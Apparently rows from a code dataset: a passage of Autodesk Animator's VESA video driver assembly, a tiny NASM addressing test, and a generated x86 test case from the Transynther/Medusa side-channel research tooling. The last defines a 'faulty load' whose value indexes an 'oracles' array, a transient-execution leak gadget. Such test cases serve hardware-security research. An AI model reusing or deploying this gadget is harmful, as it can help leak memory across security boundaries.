;* get it. Where we used to make inline calls to pharlap's
;* issue-arbitrary-int-with-regs function, we now call
;* pj_vesa_int10(). These new functions live in separate
;* modules, allowing them to be easily replaced with code
;* appropriate to any given DOS extender.
;*****************************************************************************
;******************************************************************************
;* *
;* Copyright (C) 1991 by Autodesk, Inc. *
;* *
;* Permission to use, copy, modify, and distribute this software and *
;* its documentation for the purpose of creating applications for *
;* Autodesk Animator, is hereby granted in accordance with the terms *
;* of the License Agreement accompanying this product. *
;* *
;* Autodesk makes no warrantees, express or implied, as to the *
;* correctness of this code or any derivative works which incorporate *
;* it. Autodesk provides the code on an ''as-is'' basis and *
;* explicitly disclaims any liability, express or implied, for *
;* errors, omissions, and other problems in the code, including *
;* consequential and incidental damages. *
;* *
;* Use, duplication, or disclosure by the U.S. Government is *
;* subject to restrictions set forth in FAR 52.227-19 (Commercial *
;* Computer Software - Restricted Rights) and DFAR 252.227-7013 (c) *
;* (1) (ii) (Rights in Technical Data and Computer Software, as *
;* applicable. *
;* *
;******************************************************************************
include stdmacro.i
include drvcomn.i
include dosmem.i
include errcodes.i
include raster.i
;*****************************************************************************
;* Equates and data structure definitions...
;*****************************************************************************
MAXVMODES equ 100 ; size of our local modes array
VIDEO_INT equ 10h ; DOS BIOS video interrupt
VESA_VBE_INFO equ 4f00h ; get VESA hardware information
VESA_MODE_INFO equ 4f01h ; get video mode information
VESA_SET_MODE equ 4f02h ; set video mode
VESA_GET_MODE equ 4f03h ; get video mode
VESA_SAV_RSTR equ 4f04h
VESA_WIN_FUNC equ 4f05h ; window functions
VESA_SAVBUFSIZE equ 0
VESA_SAVE equ 1
VESA_RESTORE equ 2
VESA_STATEMASK equ 000fh
CAN_READ equ 3
CAN_WRITE equ 5
CAN_READ_WRITE equ 7
VSUCCESSFUL equ 004fh ; VESA function supported & successful
SUCCESS equ 0
ATTR_MODE_SUPPORTED equ 1
ATTR_EXTENDED_INFO equ 2
ATTR_IS_GRAPHICS equ 10h
;-----------------------------------------------------------------------------
; VESA info structure...
; As defined by the vesa standard.
;-----------------------------------------------------------------------------
VBEInfo struc
vi_Signature db 4 dup (?)
vi_Version dw ?
vi_OEMStringPtr dd ?
vi_Cap db 4 dup (?)
vi_ModesPtr dd ?
vi_TotalMem dw ?
vi_filler db 236 dup (?)
VBEInfo ends
;-----------------------------------------------------------------------------
; VESA mode structure...
; As defined by the vesa standard.
;-----------------------------------------------------------------------------
ModeInfo struc
mi_modeattr dw ? ; Mandatory infomation...
mi_winAattr db ?
mi_winBattr db ?
mi_wingran dw ? ; window granularity (in KBytes)
mi_winsize dw ? ; window size (in Kbytes)
mi_winAseg dw ? ; window A start segment
mi_winBseg dw ? ; window B start segment
mi_winFuncPtr dd ?
mi_pitch dw ? ; bytes per scan line
mi_xsize dw ? ; Extended mode-info....
mi_ysize dw ?
mi_xcharsize db ?
mi_ycharsize db ?
mi_numplanes db ?
mi_bitsperpixel db ?
mi_numbanks db ?
mi_memmodel db ?
mi_banksize db ?
mi_numimages db ?
mi_reserved db ?
mi_filler db 242 dup (?)
ModeInfo ends
;*****************************************************************************
;* data...
;*****************************************************************************
_BSS segment
align 2
bios_info VBEInfo <> ; VESA BIOS information block
mode_info ModeInfo <> ; VESA Mode Information Block
mode_array dw MAXVMODES dup (?) ; VESA Video Modes array
_BSS ends
_DATA segment
info_buffer dosmem_block <0> ; allocated realmode buffer
state_buffer dosmem_block <0> ; allocated realmode save/restore buf
_DATA ends
;*****************************************************************************
;* code...
;*****************************************************************************
_TEXT segment
public _pj_vesa_setmode ; asm entry points
public _pj_vesa_clrmode
public pj_vesa_detect ; C entry points
public pj_vesa_setmode
public pj_vesa_clrmode
public pj_vesa_free_dosbuf
public pj_vesa_get_bios_info
public pj_vesa_get_mode_info
extrn pj_vesa_build_sminfo:near
extrn _pj_vesa_int10:near
;*****************************************************************************
;* set_write_bank
;*
;* Entry:
;* eax = bank number
;* edx -> pj_vdrv_wcontrol
;* Exit:
;* eax trashed, all others preserved.
;*****************************************************************************
align 4
set_write_bank proc near
push ebx
mov [edx].wwrcurbank,eax ; save the new bank number as the
test [edx].wsamerw,1 ; current write bank. if read & write
jz short #notsame ; windows are the same, save as current
mov [edx].wrdcurbank,eax ; read bank as well.
#notsame:
mov ebx,ecx
mov cl,[edx].wgranshift ; load shift count which turns a bank #
shl eax,cl ; into a window number, do the shift.
mov ecx,ebx
mov ebx,[edx].wwrwhich
mov edx,eax
mov eax,VESA_WIN_FUNC
int 10h
pop ebx
lea edx,pj_vdrv_wcontrol ; restore edx for our caller.
ret
set_write_bank endp
;*****************************************************************************
;* set_read_bank
;* Entry:
;* eax = bank number
;* edx -> pj_vdrv_wcontrol
;* Exit:
;* eax trashed, others preserved.
;*****************************************************************************
align 4
set_read_bank proc near
push ebx
mov [edx].wrdcurbank,eax ; save the new bank number as the
test [edx].wsamerw,1 ; current read bank. if read & read
jz short #notsame ; windows are the same, save as current
mov [edx].wwrcurbank,eax ; read bank as well.
#notsame:
mov ebx,ecx
mov cl,[edx].wgranshift ; load shift count which turns a bank #
shl eax,cl ; into a window number, do the shift.
mov ecx,ebx
mov ebx,[edx].wrdwhich
mov edx,eax
mov eax,VESA_WIN_FUNC
int 10h
pop ebx
lea edx,pj_vdrv_wcontrol
ret
set_read_bank endp
;*****************************************************************************
;* Errcode alloc_info_buffer(void)
;*****************************************************************************
alloc_info_buffer proc near
Entry
xor eax,eax ; assume success in case we have buffer.
lea ecx,info_buffer ; load pointer to dosmem_block
test [ecx].dosseg,0FFFFh ; structure for info buffer, if
jnz short #return ; dosseg is non-zero, we have buffer.
push ecx ; otherwise, push pointer to structure
push 256 ; and size to allocate (256 bytes),
call pj_dosmem_alloc ; and go get a buffer below 1mb line.
add esp,8 ; clean up stack.
jmp short #return ; return status of buffer allocation.
#return:
Exit
alloc_info_buffer endp
;*****************************************************************************
;* VBEInfo *pj_vesa_get_vbeinfo(void)
;* returns a pointer to our local copy of the VBE info block.
;*****************************************************************************
pj_vesa_get_bios_info proc near
lea eax,bios_info
ret
pj_vesa_get_bios_info endp
;*****************************************************************************
; VModeInfo *pj_vesa_get_mode_info(int modenumber) - called from C
;
; This routine will query the VESA BIOS for information on the specified
; mode, and will return a pointer to the resulting mode info structure. If
; an error occurs during the query, a NULL pointer will be returned.
;*****************************************************************************
pj_vesa_get_mode_info proc near
mov ecx,[esp+4] ; load mode number
_pj_vesa_get_mode_info: ; asm entry, mode already in ecx
push edi
push esi
mov di,info_buffer.dosseg ; load realmode buffer segment.
mov eax,VESA_MODE_INFO
call _pj_vesa_int10
cmp ax,VSUCCESSFUL ; did VESA_MODE_INFO call work?
je short #got_modeinf ; yep, continue processing.
xor eax,eax ; nope, return NULL to caller.
jmp short #punt
#got_modeinf:
; move the mode information into local 'mode_info' for easy access
push ds ; save ds. load 16:32 pointer to
lds esi,info_buffer.far32 ; dos realmode buffer into ds:esi.
lea edi,mode_info ; edi points to our near buffer;
mov eax,edi ; save address for return value.
mov ecx,256/4 ; move 256 bytes, using fast
rep movsd ; dword moves.
pop ds ; restore ds.
#punt:
pop esi
pop edi
ret
pj_vesa_get_mode_info endp
;*****************************************************************************
;* _pj_vesa_clrmode - called from assembler
;*
;* Entry:
;* esi - old_mode_data - the longword that setmode returned.
;* edi - pointer to pj_vdrv_wcontrol
;* Exit:
;* any regs may be trashed as desired.
;*****************************************************************************
_pj_vesa_clrmode proc near
mov eax,VESA_SET_MODE
mov ebx,esi
int 10h
ret
_pj_vesa_clrmode endp
;*****************************************************************************
;* _pj_vesa_setmode - called from assembler
;*
;* This routine sets a given video mode. If the mode is a super VGA mode,
;* the wcontrol and ytable data structures are filled in based on information
;* provided by VESA about the mode.
;*
;* Entry:
;* esi - Points to SMInfo that describes mode to be set.
;* edi - Points to wcontrol.
;* wcontrol - wwidth, wheight, and wpitch have been set based on the values
;* in the SMInfo entry. the setmode routine can override them
;* if necessary (only pitch might ever change, you would think).
;* Exit:
;* eax - negative error code on failure, or any non-negative
;* longword on sucess. the success longword will be
;* passed to the corresponding clrmode() routine on
;* device close.
;* all other regs - may be trashed with impunity.
;* wcontrol - must be filled in as appropriate for the mode.
;* ytable - must be filled in as appropriate for the mode.
;*****************************************************************************
_pj_vesa_setmode proc near
mov eax,VESA_GET_MODE ; get the current video mode
int 10h ; for return value.
movzx ebp,bx ; save oldmode in ebp.
mov eax,VESA_SET_MODE
movzx ebx,[esi].smi_mode
int 10h ; set the new mode
cmp eax,VSUCCESSFUL ; check the return code
jne short #vbe_error ; if bad, go return failure status.
mov eax,VESA_GET_MODE ; get the new video mode
int 10h ; to make extra sure the mode-set
cmp bx,[esi].smi_mode ; worked (vbe has been known to lie
je short #get_info ; about the success of a mode-set!)
#vbe_error:
mov ebp,err_video_bios ; if mode-set failed indicate such,
jmp #punt ; and punt.
#get_info:
movzx ecx,[esi].smi_mode
call _pj_vesa_get_mode_info
test eax,eax
jnz short #got_info
mov ebp,err_no_vram
jmp #punt
#got_info:
; if not VESA mode, don't compute VESA environment
; this little section is weird: I don't think it's needed
; unless it's here to disallow some quirky video card.
movzx eax, mode_info.mi_modeattr
and eax, ATTR_EXTENDED_INFO+ATTR_IS_GRAPHICS
cmp eax, ATTR_EXTENDED_INFO+ATTR_IS_GRAPHICS
jz short #is_super_vga
cmp [esi].smi_mode,6Ah
jb #punt
#is_super_vga:
lea esi,mode_info
; - check which windows can read, write, or both
; remember what their segments are
mov al,[esi].mi_winAattr ; get window A attributes,
and al,CAN_READ_WRITE ; mask to read/write status.
mov ah,[esi].mi_winBattr ; get window B attributes,
and ah,CAN_READ_WRITE ; mask to read/write status.
#a_readable?:
test al,CAN_READ ; can window A read?
jz short #a_writeable? ; nope, see if it's writeable.
mov [edi].wrdwhich,0 ; yep, indicate A for reads.
movzx edx,[esi].mi_winAseg ; get A's segment,
mov [edi].wrdaddr,edx ; remember it as read address.
#a_writeable?:
test al,CAN_WRITE ; can window A write?
jz short #b_readable? ; nope, go check window B.
mov [edi].wwrwhich,0 ; yep, indicate A for writes.
movzx edx,[esi].mi_winAseg ; get A's segment,
mov [edi].wwraddr,edx ; remember it as write address.
#b_readable?:
test ah,CAN_READ ; now it gets weird. if B is readable
jz short #b_writeable? ; and A is writeable, we'll use A for
test al,CAN_WRITE ; writing (it's already set as such)
jz short #b_writeable? ; and B for reading.
mov [edi].wrdwhich,1 ; indicate B for reads.
movzx edx, [esi].mi_winBseg ; get B's segment,
mov [edi].wrdaddr,edx ; remember it as read address.
jmp #got_windows ; all done.
#b_writeable?:
test ah,CAN_WRITE ; is window B writeable?
jz short #got_windows ; nope, we're stuck with window A.
mov [edi].wwrwhich,1 ; yep, indicate B for writes.
movzx edx,[esi].mi_winBseg ; get B's segment,
mov [edi].wwraddr,edx ; remember it as write address.
#got_windows:
mov eax,[edi].wrdwhich ; load read window, compare to
cmp eax,[edi].wwrwhich ; write window; if equal, set flag
sete [edi].wsamerw ; showing read/write is same window.
; - convert a real-mode segment values to protected-mode offsets
shl [edi].wrdaddr,4
shl [edi].wwraddr,4
; - compute 'granshift', the number of left-shifts of the bank
; number that will produce the corresponding window number.
xor edx,edx
movzx eax,[esi].mi_winsize
div [esi].mi_wingran
bsf ebx,eax
mov [edi].wgranshift,bl
; - compute 'bankshift', the number of right-shifts on the
; video address to obtain the bank.
; - compute 'offsmask', this masks the video address
; leaving the offset from the start of the window.
; - compute 'windwords', the number of dwords in a normal window.
movzx eax,[esi].mi_winsize
bsf ebx,eax
add bl,10
mov [edi].wbankshift,bl
xor eax,eax
bts eax,ebx
dec eax
mov [edi].woffsmask,eax
inc eax ; offset mask plus one is the number
shr eax,2 ; of bytes in a window. divide by 4
mov [edi].wwindwords,eax ; to get number of dwords, then save it.
; get the line-to-line pitch and save it in our pj_vdrv_wcontrol structure
movzx edx,[esi].mi_pitch
mov [edi].wpitch,edx
; - compute the number of windows to flood a screen, and how many
; bytes to be filled in the last window.
mov eax,[edi].wheight ; height of screen times line pitch
mul dptr [edi].wpitch ; gives total bytes per screen. total
mov ecx,[edi].wwindwords ; bytes divided by bytes per window
shl ecx,2 ; (calc'd as dwords per window*4) gives
div ecx ; the count of full windows, with the
mov [edi].wwincount,eax ; remainder being the number of bytes
mov [edi].wwinlbytes,edx ; in the last window (if any).
; set bank-switch vectors, then
; set both banks to -1, forces bankset on first screen access
lea eax,set_read_bank ; load address of set_read_bank,
mov [edi].wsrbvector,eax ; store it in pj_vdrv_wcontrol.
lea eax,set_write_bank ; load address of set_write_bank,
mov [edi].wswbvector,eax ; store it in pj_vdrv_wcontrol.
mov eax,-1 ; set bank number 0...
mov [edi].wrdcurbank,eax ; current read bank = -1
mov [edi].wwrcurbank,eax ; current write bank = -1
; go make table of y offsets/splits/bank numbers
call _pj_vdrv_build_ytable
#punt:
mov eax,ebp
ret
_pj_vesa_setmode endp
;*****************************************************************************
;* Errcode pj_vesa_setmode(SMInfo *psmode) - called from C.
;* Sets the vesa video mode described by *psmode. Returns a negative
;* error code on failure, or a longword value that will be passed to the
;* corresponding clrmode() routine (if any) when the device is closed.
;*****************************************************************************
pj_vesa_setmode proc near
Entry
Args #psmode
Save ebx,esi,edi,ebp
mov esi,#psmode ; load pointer to SMInfo for mode.
lea edi,pj_vdrv_wcontrol ; vectored setmode routines use this.
movzx ecx,[esi].smi_width ; most all cards will want the width,
mov [edi].wwidth,ecx ; pitch, and height values in the
mov [edi].wpitch,ecx ; wcontrol structure set the same as
movzx edx,[esi].smi_height ; the values in the SMInfo, so we do
mov [edi].wheight,edx ; that for them (they can override).
call _pj_vesa_setmode ; call the set-mode routine.
#done:
Restore ebx,esi,edi,ebp
Exit
pj_vesa_setmode endp
;*****************************************************************************
;* void pj_vesa_clrmode(long old_mode_data) - called from C.
;*****************************************************************************
pj_vesa_clrmode proc near
Entry
Args #old_mode_data
Save ebx,esi,edi,ebp
mov esi,#old_mode_data
lea edi,pj_vdrv_wcontrol
call _pj_vesa_clrmode
#done:
Restore ebx,esi,edi,ebp
Exit
pj_vesa_clrmode endp
;*****************************************************************************
;* Errcode pj_vesa_detect(void) - called from C or asm.
;*
;* This routine will detect the presence of the VESA BIOS. If not present,
;* or if a DOS memory buffer can't be allocated, the appropriate error code
;* is returned. If VESA is present, this routine will query the BIOS on the
;* video modes supported. It will store the list of available modes into
;* the mode_array global array, then return the count of packed pixel modes.
;*
;* This routine is called both from C (in the vesa driver) and from asm (in
;* the svga autodetect driver). When called from asm, the sminfo pointer is
;* passed in esi, and all regs have already been saved, but we save the
;* regs and load esi locally here anyway, in case we were called from C.
;* Since this is a one-shot routine, performance is not an issue.
;*****************************************************************************
pj_vesa_detect proc near
Entry
Save ebx,esi,edi,ebp
call alloc_info_buffer ; get a buffer for VBE info calls.
test eax,eax ; test return value, if not Success,
jnz #return ; go return error code.
mov di,info_buffer.dosseg ; load realmode buffer segment number.
mov eax,VESA_VBE_INFO ; vesa 'get info' function,
call _pj_vesa_int10 ; do it.
cmp ax,VSUCCESSFUL ; vesa call successfull?
jne short #not_vesa ; if not, punt.
; move the bios information into local 'bios_info' for easy access
push ds
lds esi,info_buffer.far32
lea edi,bios_info
mov ecx,(SIZE bios_info)/4
rep movsd
pop ds
; now double-check the local buffer for the VESA validation dword
lea eax,bios_info
cmp dptr [eax],'ASEV' ; InfoBlock 1st word s/b be 'VESA' (our
jne short #not_vesa ; consant is backwords for dword cmp).
; it is vesa for sure, move the video mode array into 'mode_array'
push ds
movzx esi,word ptr bios_info.vi_ModesPtr+2
shl esi,4
movzx eax,word ptr bios_info.vi_ModesPtr
add esi,eax
mov ax,gs
mov ds,ax
lea edi,mode_array
mov ecx,MAXVMODES/2
rep movsd
pop ds
; call C function to filter mode data and build SMInfo array
lea eax,mode_array ; load pointer to vesamodes array.
lea esi,pj_vdrv_modeinfo ; load pointer to modeinfo array.
push eax ; push pointer to vesamodes array.
push esi ; push pointer to SMInfo array
call pj_vesa_build_sminfo ; do it (mode count returned in eax).
add esp,8
jmp short #return
#not_vesa:
call pj_vesa_free_dosbuf
xor eax,eax
#return:
Restore ebx,esi,edi,ebp
Exit
pj_vesa_detect endp
;*****************************************************************************
; void pj_vesa_free_dosbuf(void) - called from C or asm.
;
; Call the extender-specific function to free the dos realmode (below 1mb
; line) buffer we use in communicating with VESA. This is called from the
; rex-layer cleanup routine via the vcleanup vector variable in svgaintf.asm,
; to ensure the buffer is always freed before the driver is unloaded.
;*****************************************************************************
pj_vesa_free_dosbuf proc near
lea eax,info_buffer ; load pointer to structure,
push eax ; push it, call dos memory free
call pj_dosmem_free ; routine (it handles NULL buffer
add esp,4 ; pointer if we don't have buffer
ret ; allocated.)
pj_vesa_free_dosbuf endp
_TEXT ends
end
| 33.317529 | 80 | 0.614127 |
c9ff7f23a03a69fc7a1d54beaf396c2e41c4621f | 178 | asm | Assembly | test/splitea.asm | bitwiseworks/nasm-os2 | ef78e4ee1ca3220ac3b60a61b084a693b8032ab6 | [
"BSD-2-Clause"
] | 1 | 2020-06-20T07:35:25.000Z | 2020-06-20T07:35:25.000Z | 3rdParties/src/nasm/nasm-2.15.02/test/splitea.asm | blue3k/StormForge | 1557e699a673ae9adcc8f987868139f601ec0887 | [
"Apache-2.0"
] | 1 | 2020-03-26T19:58:54.000Z | 2020-04-24T08:58:04.000Z | test/splitea.asm | bitwiseworks/nasm-os2 | ef78e4ee1ca3220ac3b60a61b084a693b8032ab6 | [
"BSD-2-Clause"
] | null | null | null | bits 32
mov eax,[eax]
mov eax,[eax+ecx]
mov eax,[eax+ecx*4]
mov eax,[eax+ecx*4+8]
mov eax,[eax]
mov eax,[eax,ecx]
mov eax,[eax,ecx*4]
mov eax,[eax+8,ecx*4]
| 14.833333 | 23 | 0.573034 |
850f19d3e4ff218faf3d99f30bd032c6d2ba768b | 8,392 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_313.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_313.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_313.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x12860, %rsi
lea addresses_UC_ht+0xc228, %rdi
nop
nop
nop
nop
nop
sub %r13, %r13
mov $46, %rcx
rep movsq
nop
nop
nop
nop
nop
and $58584, %rbx
lea addresses_UC_ht+0x8a28, %r14
nop
nop
nop
nop
nop
add $15010, %r12
mov $0x6162636465666768, %rbx
movq %rbx, %xmm0
vmovups %ymm0, (%r14)
nop
nop
nop
add $63641, %rbx
lea addresses_A_ht+0x162fd, %rsi
lea addresses_WT_ht+0x1e404, %rdi
nop
sub $61747, %rdx
mov $96, %rcx
rep movsb
nop
nop
nop
nop
inc %rcx
lea addresses_WC_ht+0x115dc, %rsi
lea addresses_D_ht+0x228, %rdi
nop
nop
nop
nop
xor %r14, %r14
mov $19, %rcx
rep movsq
nop
dec %rsi
lea addresses_normal_ht+0x144c0, %r12
sub %rbx, %rbx
vmovups (%r12), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
nop
nop
nop
sub %rdx, %rdx
lea addresses_UC_ht+0x1764c, %r12
xor %rdi, %rdi
mov $0x6162636465666768, %r13
movq %r13, %xmm6
movups %xmm6, (%r12)
nop
nop
nop
nop
sub $39134, %rdx
lea addresses_normal_ht+0x95cc, %rbx
nop
nop
nop
nop
xor %r14, %r14
mov (%rbx), %r12
xor %r13, %r13
lea addresses_normal_ht+0x7849, %r12
clflush (%r12)
nop
nop
nop
nop
cmp %r14, %r14
movl $0x61626364, (%r12)
nop
nop
nop
and %r13, %r13
lea addresses_normal_ht+0x7a28, %r14
nop
nop
nop
nop
nop
dec %r12
movb (%r14), %cl
nop
nop
nop
and $50948, %r14
lea addresses_UC_ht+0x7c28, %rsi
clflush (%rsi)
and $20128, %rdx
movups (%rsi), %xmm0
vpextrq $1, %xmm0, %r14
nop
nop
nop
nop
xor $8067, %rcx
lea addresses_WC_ht+0xbe28, %r14
xor $14344, %rdi
movb (%r14), %cl
nop
nop
add %rdi, %rdi
lea addresses_A_ht+0x40bc, %r14
clflush (%r14)
nop
nop
nop
sub $56367, %rdx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
movups %xmm0, (%r14)
nop
lfence
lea addresses_A_ht+0x4c28, %rdi
xor %rsi, %rsi
movl $0x61626364, (%rdi)
nop
nop
and $16141, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Store
mov $0x230, %rsi
nop
nop
nop
nop
sub $2224, %rbp
movb $0x51, (%rsi)
nop
nop
nop
nop
nop
add $64381, %r14
// Store
lea addresses_UC+0xf048, %rsi
nop
cmp $65451, %rdi
movb $0x51, (%rsi)
// Exception!!!
nop
nop
nop
mov (0), %rcx
nop
dec %rcx
// Store
lea addresses_WT+0x7b48, %r14
nop
xor $24837, %rsi
mov $0x5152535455565758, %rcx
movq %rcx, (%r14)
nop
nop
nop
nop
nop
and %rcx, %rcx
// Load
lea addresses_A+0xd70, %r14
nop
nop
nop
nop
nop
dec %rsi
mov (%r14), %dx
nop
nop
nop
nop
nop
xor %rdx, %rdx
// Faulty Load
lea addresses_D+0x1da28, %rdx
nop
nop
nop
nop
add $43059, %rdi
vmovups (%rdx), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %r14
lea oracles, %rdi
and $0xff, %r14
shlq $12, %r14
mov (%rdi,%r14,1), %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 30.296029 | 2,999 | 0.654671 |
7d21021f9cac68c976ef6aa4d3e62452a94aae57 | 294 | asm | Assembly | programs/oeis/027/A027819.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/027/A027819.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
